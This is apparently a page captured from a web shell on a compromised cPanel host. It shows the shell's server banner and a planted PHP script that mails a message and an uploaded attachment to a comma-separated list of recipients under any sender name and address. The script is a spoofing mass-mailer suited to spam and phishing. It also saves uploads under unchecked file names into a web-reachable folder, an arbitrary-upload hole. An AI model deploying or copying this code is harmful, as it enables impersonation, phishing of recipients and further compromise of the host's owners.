HEX
Server: Apache
System: Linux 13-202-242-94.cprapid.com 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: azamsportsacadem (1064)
PHP: 8.1.34
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/azamsportsacadem/public_html/forshellAttachFunction/Gmailsmtp.php
<?php

/**
 * @author Ahmet YUCEL
 * @copyright 2016
 */
 
 //require_once "PHPMailer/class.phpmailer.php";

$errors = '';
//<-----Put Your email address here.
if(empty($_POST['S_email'])  || 
   empty($_POST['R_email'])  ||   
   empty($_POST['Subject'])  ||
   empty($_POST['textarea'])   
   
   )
   
{
    $errors .= "\n Error: all fields are required";
}

 $priority = 1;
 $Sender_email = $_POST['S_email']; 
 $Sender_name = $_POST['S_name']; ;
 $Bcc= $_POST['c'];
 $subject = $_POST['Subject'];
 $message = $_POST['textarea'];
 $file = $_POST['file'];
 
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
$filename = "upload/" . $_FILES["file"]["name"];
 
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/vendor/autoload.php';



$mail = new PHPMailer;

if (!preg_match(
"/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$/i", 
$Sender_email))
{
    $errors .= "\n Error: Invalid email address";
} 

$mail->setFrom($Sender_email, $Sender_name). "\r\n";
$tos = $Bcc;
$addr = explode(',',$tos );
$mail->isHTML(true);
	$mail->CharSet = "UTF-8";
$mail->Subject = $subject;
foreach ($addr as $to){
	 $mail->clearAddresses();
	 $mail->addAddress($to);
	 $actualmsg = $message;
     $mail->Body =$actualmsg;
	 $mail->addAttachment($filename);    

    $ok = $mail->send();
	sleep(5); // 10 seconds
	if ($ok) {
    echo "Message Sent!!!";
} else { 
    echo "Error";
}
    // $ok = mail ($to, $subject, $actualmsg, $Sender_email.$Sender_name);
}

?>